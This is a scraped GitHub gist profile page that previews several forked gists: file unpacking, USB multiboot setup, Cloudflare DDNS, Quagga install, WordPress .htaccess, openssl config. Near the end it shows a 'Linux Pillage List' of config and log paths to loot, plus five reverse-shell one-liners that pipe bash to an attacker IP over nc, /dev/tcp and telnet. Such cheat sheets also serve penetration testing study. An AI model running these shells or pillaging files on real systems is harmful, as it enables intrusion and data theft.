Skip to content

Instantly share code, notes, and snippets.

View Cynesiz's full-sized avatar

'(◣_◢)' Cynesiz

  • Houston, Texas
View GitHub Profile
@Cynesiz
Cynesiz / unziprar.sh
Created September 10, 2016 18:28 — forked from ryanmaclean/unziprar.sh
Unzip Zipped Rar Files in Bash
#! /bin/bash
#Script to unpack sceen releases
#Source: http://ubuntuforums.org/archive/index.php/t-1716443.html
#unzip all zip files
for i in `find . -name "*.zip"`; do unzip -o -d `dirname $i` $i;done;
#delete all zip files
for i in `find . -name "*.zip"`; do rm $i;done;
#unrar recusively
find ./* -type f -name '*.rar' -execdir unrar x {} \;
#remove rar
@Cynesiz
Cynesiz / USB Bootstick.md
Last active March 13, 2020 01:45 — forked from mruediger/USB Bootstick.md
USB Bootstick for multiple isos using UEFI and BIOS

This small Howto is about setting up a USB stick to boot different iso files using grub's loopback capability. I only tested this on Fedora, but it should also work on other Linux distributions.

First, lets find the USB Stick

lsblk

This should give you a list of all your block devices. My stick is found as /dev/sdc

Then we need to partition the USB stick using GPT.

  • we will use gdisk sudo gdisk /dev/sdc
  • create a new empty partition table by pressing o
@Cynesiz
Cynesiz / ddns.sh
Created August 1, 2016 07:23 — forked from lyoshenka/ddns.sh
Quick and dirty DDNS using Bash and Cloudflare (API v4 compatible)
#!/usr/bin/env bash
# Step 1: Fill in EMAIL, TOKEN, DOMAIN and SUBDOMAIN. Your API token is here: https://www.cloudflare.com/a/account/my-account
# Make sure the token is the Global token, or has these permissions: #zone:read, #dns_record:read, #dns_records:edit
# Step 2: Create an A record on Cloudflare with the subdomain you chose
# Step 3: Run "./ddns.sh -l" to get the zone_id and rec_id of the record you created.
# Fill in ZONE_ID and REC_ID below
# This step is optional, but will save you 2 requests every time you this script
# Step 4: Run "./ddns.sh". It should tell you that record was updated or that it didn't need updating.
# Step 5: Run it every hour with cron. Use the '-s' flag to silence normal output
#!/bin/bash
# bash generate random alphanumeric string
#
# bash generate random 32 character alphanumeric string (upper and lowercase) and
NEW_UUID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
# bash generate random 32 character alphanumeric string (lowercase only)
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1
#!/bin/bash
### Copy/paste from https://wiki.ubuntu.com/JonathanFerguson/Quagga
## Use
## ===
## $ sudo ./installQuagga.sh
## Install the Quagga routing daemon
## =================================
apt-get -y install quagga
@Cynesiz
Cynesiz / .htaccess
Created June 29, 2016 17:59 — forked from bryanmonzon/.htaccess
.htaccess
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
@Cynesiz
Cynesiz / openssl.cnf
Created June 21, 2016 11:12 — forked from leonklingele/openssl.cnf
Useful openssl commands
[ req ]
default_bits = 4096
default_md = sha256
default_keyfile = private.key
distinguished_name = req_distinguished_name
attributes = req_attributes
x509_extensions = v3_user_req
req_extensions = v3_user_req
[ req_distinguished_name ]
@Cynesiz
Cynesiz / linux_pillage
Created May 30, 2016 21:47 — forked from sckalath/linux_pillage
Linux Pillage List
/apache/logs/access.log
/apache/logs/error.log
/bin/php.ini
/etc/alias
/etc/apache2/apache.conf
/etc/apache2/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/apache/conf/httpd.conf
/etc/bash.bashrc
/etc/chttp.conf
@Cynesiz
Cynesiz / linux_pillage
Created May 30, 2016 21:47 — forked from sckalath/linux_pillage
Linux Pillage List
/apache/logs/access.log
/apache/logs/error.log
/bin/php.ini
/etc/alias
/etc/apache2/apache.conf
/etc/apache2/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/apache/conf/httpd.conf
/etc/bash.bashrc
/etc/chttp.conf
#1
nc <attacker_ip> <port> -e /bin/bash
#2
mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe
#3
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1
#4
mknod backpipe p; telnet <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe
#5
telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port>